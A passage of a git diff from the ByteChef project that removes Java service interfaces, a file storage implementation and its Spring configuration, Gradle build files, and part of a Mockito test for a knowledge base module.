- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import java.util.List;
-import java.util.Optional;
-
-/**
- * Service for managing knowledge base document chunks.
- *
- * @author Ivica Cardic
- */
-public interface KnowledgeBaseDocumentChunkService {
-
-    /**
-     * Retrieves a specific KnowledgeBaseDocumentChunk by its unique identifier.
-     *
-     * @param id the unique identifier of the KnowledgeBaseDocumentChunk to retrieve
-     * @return the KnowledgeBaseDocumentChunk associated with the given identifier, or null if no matching chunk is
-     *         found
-     */
-    KnowledgeBaseDocumentChunk getKnowledgeBaseDocumentChunk(Long id);
-
-    /**
-     * Retrieves a specific {@code KnowledgeBaseDocumentChunk} based on its associated vector store identifier.
-     *
-     * @param vectorStoreId the unique identifier associated with the vector store entry of the
-     *                      {@code KnowledgeBaseDocumentChunk}
-     * @return an {@code Optional} containing the {@code KnowledgeBaseDocumentChunk} if found; otherwise, an empty
-     *         {@code Optional}
-     */
-    Optional<KnowledgeBaseDocumentChunk> getKnowledgeBaseDocumentChunkByVectorStoreId(String vectorStoreId);
-
-    /**
-     * Retrieves a list of {@code KnowledgeBaseDocumentChunk} objects based on their unique identifiers.
-     *
-     * @param ids a list of unique identifiers corresponding to the {@code KnowledgeBaseDocumentChunk} objects to
-     *            retrieve
-     * @return a list of {@code KnowledgeBaseDocumentChunk} objects associated with the specified identifiers
-     */
-    List<KnowledgeBaseDocumentChunk> getKnowledgeBaseDocumentChunks(List<Long> ids);
-
-    /**
-     * Retrieves a list of {@code KnowledgeBaseDocumentChunk} objects associated with the specified document ID.
-     *
-     * @param documentId the unique identifier of the knowledge base document whose chunks are to be retrieved
-     * @return a list of {@code KnowledgeBaseDocumentChunk} objects corresponding to the given document ID
-     */
-    List<KnowledgeBaseDocumentChunk> getKnowledgeBaseDocumentChunksByDocumentId(Long documentId);
-
-    /**
-     * Persists the given {@code KnowledgeBaseDocumentChunk} into the storage system.
-     *
-     * @param knowledgeBaseDocumentChunk the {@code KnowledgeBaseDocumentChunk} instance to be saved
-     * @return the saved {@code KnowledgeBaseDocumentChunk} with updated state and identifiers, if applicable
-     */
-    KnowledgeBaseDocumentChunk saveKnowledgeBaseDocumentChunk(KnowledgeBaseDocumentChunk knowledgeBaseDocumentChunk);
-
-    /**
-     * Persists a list of {@code KnowledgeBaseDocumentChunk} objects into the storage system.
-     *
-     * @param knowledgeBaseDocumentChunks the list of {@code KnowledgeBaseDocumentChunk} instances to be saved
-     * @return the saved list of {@code KnowledgeBaseDocumentChunk} objects with updated state and identifiers, if
-     *         applicable
-     */
-    List<KnowledgeBaseDocumentChunk> saveKnowledgeBaseDocumentChunks(
-        List<KnowledgeBaseDocumentChunk> knowledgeBaseDocumentChunks);
-
-    /**
-     * Deletes a specific {@code KnowledgeBaseDocumentChunk} identified by its unique identifier.
-     *
-     * @param id the unique identifier of the {@code KnowledgeBaseDocumentChunk} to be deleted
-     */
-    void deleteKnowledgeBaseDocumentChunk(Long id);
-
-    /**
-     * Deletes a list of {@code KnowledgeBaseDocumentChunk} objects.
-     *
-     * @param knowledgeBaseDocumentChunks the list of {@code KnowledgeBaseDocumentChunk} instances to be deleted
-     */
-    void deleteKnowledgeBaseDocumentChunks(List<KnowledgeBaseDocumentChunk> knowledgeBaseDocumentChunks);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentService.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentService.java
deleted file mode 100644
index 6d1768d8614..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentService.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.dto.DocumentStatusUpdate;
-import java.util.List;
-
-public interface KnowledgeBaseDocumentService {
-
-    /**
-     * Deletes the knowledge base document identified by the specified ID.
-     *
-     * @param id the unique identifier of the knowledge base document to be deleted
-     */
-    void delete(long id);
-
-    /**
-     * Retrieves the knowledge base document for the specified unique identifier.
-     *
-     * @param id the unique identifier of the knowledge base document to retrieve
-     * @return the {@code KnowledgeBaseDocument} associated with the given ID, or {@code null} if no such document
-     *         exists
-     */
-    KnowledgeBaseDocument getKnowledgeBaseDocument(long id);
-
-    /**
-     * Retrieves a list of knowledge base documents associated with the specified knowledge base ID.
-     *
-     * @param knowledgeBaseId the unique identifier of the knowledge base
-     * @return a list of {@code KnowledgeBaseDocument} objects associated with the provided knowledge base ID
-     */
-    List<KnowledgeBaseDocument> getKnowledgeBaseDocuments(long knowledgeBaseId);
-
-    /**
-     * Retrieves the status of the knowledge base document identified by the specified ID.
-     *
-     * @param id the unique identifier of the knowledge base document whose status is to be retrieved
-     * @return a {@code DocumentStatusUpdate} object containing the status information of the specified knowledge base
-     *         document
-     */
-    DocumentStatusUpdate getKnowledgeBaseDocumentStatus(long id);
-
-    /**
-     * Saves the provided {@code KnowledgeBaseDocument} to the underlying data store. If the document already exists
-     * (based on its unique identifier), it will be updated; otherwise, a new document will be created.
-     *
-     * @param knowledgeBaseDocument the {@code KnowledgeBaseDocument} to be saved or updated
-     * @return the saved or updated {@code KnowledgeBaseDocument} instance, including any modifications made during the
-     *         save operation (e.g., generated IDs, timestamps)
-     */
-    KnowledgeBaseDocument saveKnowledgeBaseDocument(KnowledgeBaseDocument knowledgeBaseDocument);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentTagService.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentTagService.java
deleted file mode 100644
index 144121369a8..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentTagService.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import com.bytechef.platform.tag.domain.Tag;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Service for accessing tags associated with KnowledgeBaseDocuments.
- *
- * @author Ivica Cardic
- */
-public interface KnowledgeBaseDocumentTagService {
-
-    /**
-     * Retrieves a list of all tags used by documents.
-     *
-     * @return a list of Tag objects representing all available tags
-     */
-    List<Tag> getAllTags();
-
-    /**
-     * Retrieves a mapping from document ID to list of tags assigned to that document.
-     *
-     * @return a map where keys are document IDs and values are lists of Tag objects assigned to each document
-     */
-    Map<Long, List<Tag>> getTagsByKnowledgeBaseDocumentId();
-
-    /**
-     * Retrieves a mapping from document name to list of tags assigned to that document.
-     *
-     * @return a map where keys are document names and values are lists of Tag objects assigned to each document
-     */
-    Map<String, List<Tag>> getTagsByKnowledgeBaseDocumentName();
-
-    /**
-     * Updates the tags associated with a specific document.
-     *
-     * @param knowledgeBaseDocumentId the unique identifier of the document whose tags are to be updated
-     * @param tags                    a list of Tag objects representing the new set of tags to associate with the
-     *                                document
-     */
-    void updateTags(long knowledgeBaseDocumentId, List<Tag> tags);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseService.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseService.java
deleted file mode 100644
index bf85398e8e4..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseService.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import java.util.List;
-
-public interface KnowledgeBaseService {
-
-    /**
-     * Creates a new KnowledgeBase instance and persists it.
-     *
-     * @param knowledgeBase the KnowledgeBase object to be created
-     * @return the newly created KnowledgeBase object with its generated attributes populated
-     */
-    KnowledgeBase createKnowledgeBase(KnowledgeBase knowledgeBase);
-
-    /**
-     * Deletes the knowledge base identified by the specified ID.
-     *
-     * @param id the unique identifier of the knowledge base to be deleted
-     */
-    void deleteKnowledgeBase(Long id);
-
-    /**
-     * Retrieves the knowledge base associated with the specified unique identifier.
-     *
-     * @param id the unique identifier of the knowledge base to retrieve
-     * @return the KnowledgeBase object associated with the given ID, or null if no such knowledge base exists
-     */
-    KnowledgeBase getKnowledgeBase(Long id);
-
-    /**
-     * Retrieves a list of all available knowledge bases.
-     *
-     * @return a list of {@code KnowledgeBase} objects representing the knowledge bases.
-     */
-    List<KnowledgeBase> getKnowledgeBases();
-
-    /**
-     * Updates an existing KnowledgeBase identified by the given ID with the provided new values.
-     *
-     * @param id            the unique identifier of the KnowledgeBase to update
-     * @param knowledgeBase the KnowledgeBase object containing the updated values
-     * @return the updated KnowledgeBase object after persisting the changes
-     */
-    KnowledgeBase updateKnowledgeBase(Long id, KnowledgeBase knowledgeBase);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseTagService.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseTagService.java
deleted file mode 100644
index 46d70e0fc49..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseTagService.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import com.bytechef.platform.tag.domain.Tag;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Service for accessing tags associated with KnowledgeBases.
- *
- * @author Ivica Cardic
- */
-public interface KnowledgeBaseTagService {
-
-    /**
-     * Retrieves a list of all tags.
-     *
-     * @return a list of Tag objects representing all available tags
-     */
-    List<Tag> getAllTags();
-
-    /**
-     * Retrieves a mapping from knowledgebase ID to list of tags assigned to that knowledgeBase.
-     *
-     * @return a map where keys are knowledgebase IDs and values are lists of Tag objects assigned to each knowledgebase
-     */
-    Map<Long, List<Tag>> getTagsByKnowledgeBaseId();
-
-    /**
-     * Retrieves a mapping from knowledgebase name to list of tags assigned to that knowledgeBase.
-     *
-     * @return a map where keys are knowledgebase names and values are lists of Tag objects assigned to each
-     *         knowledgebase
-     */
-    Map<String, List<Tag>> getTagsByKnowledgeBaseName();
-
-    /**
-     * Updates the tags associated with a specific knowledgeBase.
-     *
-     * @param knowledgeBaseId the unique identifier of the knowledgebase whose tags are to be updated
-     * @param tags            a list of Tag objects representing the new set of tags to associate with the knowledgebase
-     */
-    void updateTags(long knowledgeBaseId, List<Tag> tags);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/WorkspaceKnowledgeBaseService.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/WorkspaceKnowledgeBaseService.java
deleted file mode 100644
index dc8f48e6b51..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/service/WorkspaceKnowledgeBaseService.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import com.bytechef.automation.knowledgebase.domain.WorkspaceKnowledgeBase;
-import java.util.List;
-
-/**
- * Service interface for managing workspace knowledge base relationships.
- *
- * @author Ivica Cardic
- */
-public interface WorkspaceKnowledgeBaseService {
-
-    /**
-     * Gets knowledge bases filtered by workspace ID.
-     *
-     * @param workspaceId the workspace ID to filter by
-     * @return a list of workspace knowledge base relationships in the specified workspace
-     */
-    List<WorkspaceKnowledgeBase> getWorkspaceKnowledgeBases(Long workspaceId);
-
-    /**
-     * Assigns a knowledge base to a workspace.
-     *
-     * @param knowledgeBaseId the knowledge base ID
-     * @param workspaceId     the workspace ID
-     */
-    void assignKnowledgeBaseToWorkspace(Long knowledgeBaseId, Long workspaceId);
-
-    /**
-     * Removes a knowledge base from a workspace.
-     *
-     * @param knowledgeBaseId the knowledge base ID
-     */
-    void removeKnowledgeBaseFromWorkspace(Long knowledgeBaseId);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-api/build.gradle.kts b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-api/build.gradle.kts
deleted file mode 100644
index ee72ee23a29..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-api/build.gradle.kts
+++ /dev/null
@@ -1,5 +0,0 @@
-dependencies {
-    api(project(":server:libs:core:file-storage:file-storage-api"))
-
-    implementation("org.springframework:spring-core")
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-api/src/main/java/com/bytechef/automation/knowledgebase/file/storage/KnowledgeBaseFileStorage.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-api/src/main/java/com/bytechef/automation/knowledgebase/file/storage/KnowledgeBaseFileStorage.java
deleted file mode 100644
index 47448df36f2..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-api/src/main/java/com/bytechef/automation/knowledgebase/file/storage/KnowledgeBaseFileStorage.java
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.file.storage;
-
-import com.bytechef.file.storage.domain.FileEntry;
-import java.io.InputStream;
-
-/**
- * @author Ivica Cardic
- */
-public interface KnowledgeBaseFileStorage {
-
-    /**
-     * Deletes the chunk content associated with the given file entry.
-     *
-     * @param fileEntry the file entry whose associated chunk content is to be deleted
-     */
-    void deleteChunkContent(FileEntry fileEntry);
-
-    /**
-     * Deletes the document associated with the given file entry. This operation will remove the underlying file data
-     * linked with the specified FileEntry.
-     *
-     * @param fileEntry the file entry representing the document to be deleted
-     */
-    void deleteDocument(FileEntry fileEntry);
-
-    /**
-     * Reads the chunk content associated with the given file entry.
-     *
-     * @param fileEntry the file entry representing the chunk whose content is to be read
-     * @return the content of the chunk as a string
-     */
-    String readChunkContent(FileEntry fileEntry);
-
-    /**
-     * Retrieves an input stream for reading the content of the document associated with the specified file entry.
-     *
-     * @param fileEntry the file entry representing the document whose input stream is to be retrieved
-     * @return an InputStream to read the content of the document
-     */
-    InputStream getDocumentInputStream(FileEntry fileEntry);
-
-    /**
-     * Reads the content of the document associated with the specified file entry and returns it as a byte array.
-     *
-     * @param fileEntry the file entry representing the document whose content is to be read and converted to a byte
-     *                  array
-     * @return a byte array containing the content of the document
-     */
-    byte[] readDocumentToBytes(FileEntry fileEntry);
-
-    /**
-     * Stores the content of a chunk identified by the given chunk ID. The chunk content is associated with a
-     * {@link FileEntry} that represents the stored file metadata and details.
-     *
-     * @param chunkId the unique identifier of the chunk whose content is to be stored
-     * @param content the content to be stored for the specified chunk
-     * @return a {@link FileEntry} representing the metadata and details of the stored content
-     */
-    FileEntry storeChunkContent(long chunkId, String content);
-
-    /**
-     * Stores the content of a document with the specified filename and input stream. This method handles the creation
-     * of a {@link FileEntry} object representing the metadata and details of the stored document.
-     *
-     * @param filename    the name of the file to be stored
-     * @param inputStream the input stream containing the content of the document
-     * @return a {@link FileEntry} representing the metadata and details of the stored document
-     */
-    FileEntry storeDocument(String filename, InputStream inputStream);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-impl/build.gradle.kts b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-impl/build.gradle.kts
deleted file mode 100644
index 5f8536ea0aa..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-impl/build.gradle.kts
+++ /dev/null
@@ -1,9 +0,0 @@
-dependencies {
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation(project(":server:libs:config:app-config"))
-    implementation(project(":server:libs:automation:automation-knowledge-base:automation-knowledge-base-file-storage:automation-knowledge-base-file-storage-api"))
-
-    testImplementation("org.junit.jupiter:junit-jupiter")
-    testImplementation("org.mockito:mockito-core")
-    testImplementation("org.mockito:mockito-junit-jupiter")
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-impl/src/main/java/com/bytechef/automation/knowledgebase/file/storage/KnowledgeBaseFileStorageImpl.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-impl/src/main/java/com/bytechef/automation/knowledgebase/file/storage/KnowledgeBaseFileStorageImpl.java
deleted file mode 100644
index 2d52dbbd8b6..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-impl/src/main/java/com/bytechef/automation/knowledgebase/file/storage/KnowledgeBaseFileStorageImpl.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.file.storage;
-
-import com.bytechef.file.storage.domain.FileEntry;
-import com.bytechef.file.storage.service.FileStorageService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.io.ByteArrayInputStream;
-import java.io.InputStream;
-import java.nio.charset.StandardCharsets;
-
-/**
- * @author Ivica Cardic
- */
-public class KnowledgeBaseFileStorageImpl implements KnowledgeBaseFileStorage {
-
-    private static final String KNOWLEDGE_BASE_CHUNKS_DIR = "knowledge_base_chunks";
-    private static final String KNOWLEDGE_BASE_DOCUMENTS_DIR = "knowledge_base";
-
-    private final FileStorageService fileStorageService;
-
-    @SuppressFBWarnings("EI")
-    public KnowledgeBaseFileStorageImpl(FileStorageService fileStorageService) {
-        this.fileStorageService = fileStorageService;
-    }
-
-    @Override
-    public void deleteChunkContent(FileEntry fileEntry) {
-        fileStorageService.deleteFile(KNOWLEDGE_BASE_CHUNKS_DIR, fileEntry);
-    }
-
-    @Override
-    public void deleteDocument(FileEntry fileEntry) {
-        fileStorageService.deleteFile(KNOWLEDGE_BASE_DOCUMENTS_DIR, fileEntry);
-    }
-
-    @Override
-    public String readChunkContent(FileEntry fileEntry) {
-        byte[] bytes = fileStorageService.readFileToBytes(KNOWLEDGE_BASE_CHUNKS_DIR, fileEntry);
-
-        return new String(bytes, StandardCharsets.UTF_8);
-    }
-
-    @Override
-    public InputStream getDocumentInputStream(FileEntry fileEntry) {
-        return fileStorageService.getInputStream(KNOWLEDGE_BASE_DOCUMENTS_DIR, fileEntry);
-    }
-
-    @Override
-    public byte[] readDocumentToBytes(FileEntry fileEntry) {
-        return fileStorageService.readFileToBytes(KNOWLEDGE_BASE_DOCUMENTS_DIR, fileEntry);
-    }
-
-    @Override
-    public FileEntry storeChunkContent(long chunkId, String content) {
-        byte[] contentBytes = content.getBytes(StandardCharsets.UTF_8);
-
-        return fileStorageService.storeFileContent(
-            KNOWLEDGE_BASE_CHUNKS_DIR, chunkId + ".txt", new ByteArrayInputStream(contentBytes));
-    }
-
-    @Override
-    public FileEntry storeDocument(String filename, InputStream inputStream) {
-        return fileStorageService.storeFileContent(KNOWLEDGE_BASE_DOCUMENTS_DIR, filename, inputStream);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-impl/src/main/java/com/bytechef/automation/knowledgebase/file/storage/config/KnowledgeBaseFileStorageConfiguration.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-impl/src/main/java/com/bytechef/automation/knowledgebase/file/storage/config/KnowledgeBaseFileStorageConfiguration.java
deleted file mode 100644
index 0e37ab9d7a0..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-impl/src/main/java/com/bytechef/automation/knowledgebase/file/storage/config/KnowledgeBaseFileStorageConfiguration.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.file.storage.config;
-
-import com.bytechef.automation.knowledgebase.file.storage.KnowledgeBaseFileStorage;
-import com.bytechef.automation.knowledgebase.file.storage.KnowledgeBaseFileStorageImpl;
-import com.bytechef.config.ApplicationProperties;
-import com.bytechef.config.ApplicationProperties.FileStorage.Provider;
-import com.bytechef.file.storage.FileStorageServiceRegistry;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-
-/**
- * @author Ivica Cardic
- */
-@Configuration
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-class KnowledgeBaseFileStorageConfiguration {
-
-    @Bean
-    KnowledgeBaseFileStorage knowledgeBaseFileStorage(
-        ApplicationProperties applicationProperties, FileStorageServiceRegistry fileStorageServiceRegistry) {
-
-        Provider provider = applicationProperties.getFileStorage()
-            .getProvider();
-
-        return new KnowledgeBaseFileStorageImpl(fileStorageServiceRegistry.getFileStorageService(provider.name()));
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-impl/src/test/java/com/bytechef/automation/knowledgebase/file/storage/KnowledgeBaseFileStorageImplIntTest.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-impl/src/test/java/com/bytechef/automation/knowledgebase/file/storage/KnowledgeBaseFileStorageImplIntTest.java
deleted file mode 100644
index 6810408c486..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-file-storage/automation-knowledge-base-file-storage-impl/src/test/java/com/bytechef/automation/knowledgebase/file/storage/KnowledgeBaseFileStorageImplIntTest.java
+++ /dev/null
@@ -1,224 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.file.storage;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.file.storage.domain.FileEntry;
-import com.bytechef.file.storage.service.FileStorageService;
-import java.io.ByteArrayInputStream;
-import java.io.InputStream;
-import java.nio.charset.StandardCharsets;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-import org.mockito.Mock;
-import org.mockito.junit.jupiter.MockitoExtension;
-
-/**
- * Integration tests for {@link KnowledgeBaseFileStorageImpl}.
- *
- * @author Ivica Cardic
- */
-@ExtendWith(MockitoExtension.class)
-class KnowledgeBaseFileStorageImplIntTest {
-
-    private static final String KNOWLEDGE_BASE_CHUNKS_DIR = "knowledge_base_chunks";
-    private static final String KNOWLEDGE_BASE_DOCUMENTS_DIR = "knowledge_base";
-
-    @Mock
-    private FileStorageService fileStorageService;
-
-    private KnowledgeBaseFileStorageImpl knowledgeBaseFileStorage;
-
-    @BeforeEach
-    void beforeEach() {
-        knowledgeBaseFileStorage = new KnowledgeBaseFileStorageImpl(fileStorageService);
-    }
-
-    @Test
-    void testStoreDocument() {
-        String filename = "test-document.txt";
-        InputStream inputStream = new ByteArrayInputStream("Test content".getBytes(StandardCharsets.UTF_8));
-        FileEntry expectedFileEntry = new FileEntry(filename, "file://test/" + filename);
-
-        when(
-            fileStorageService.storeFileContent(eq(KNOWLEDGE_BASE_DOCUMENTS_DIR), eq(filename), any(InputStream.class)))
-                .thenReturn(expectedFileEntry);
-
-        FileEntry result = knowledgeBaseFileStorage.storeDocument(filename, inputStream);
-
-        assertThat(result).isEqualTo(expectedFileEntry);
-
-        verify(fileStorageService).storeFileContent(eq(KNOWLEDGE_BASE_DOCUMENTS_DIR), eq(filename),
-            any(InputStream.class));
-    }
-
-    @Test
-    void testStoreChunkContent() {
-        long chunkId = 123L;
-        String content = "Chunk content text";
-        FileEntry expectedFileEntry = new FileEntry(chunkId + ".txt", "file://test/chunks/" + chunkId + ".txt");
-
-        when(fileStorageService.storeFileContent(
-            eq(KNOWLEDGE_BASE_CHUNKS_DIR), eq(chunkId + ".txt"), any(InputStream.class))).thenReturn(expectedFileEntry);
-
-        FileEntry result = knowledgeBaseFileStorage.storeChunkContent(chunkId, content);
-
-        assertThat(result).isEqualTo(expectedFileEntry);
-
-        verify(fileStorageService).storeFileContent(
-            eq(KNOWLEDGE_BASE_CHUNKS_DIR), eq(chunkId + ".txt"), any(InputStream.class));
-    }
-
-    @Test
-    void testReadChunkContent() {
-        FileEntry fileEntry = new FileEntry("123.txt", "file://test/chunks/123.txt");
-        String expectedContent = "Chunk content";
-
-        when(fileStorageService.readFileToBytes(KNOWLEDGE_BASE_CHUNKS_DIR, fileEntry))
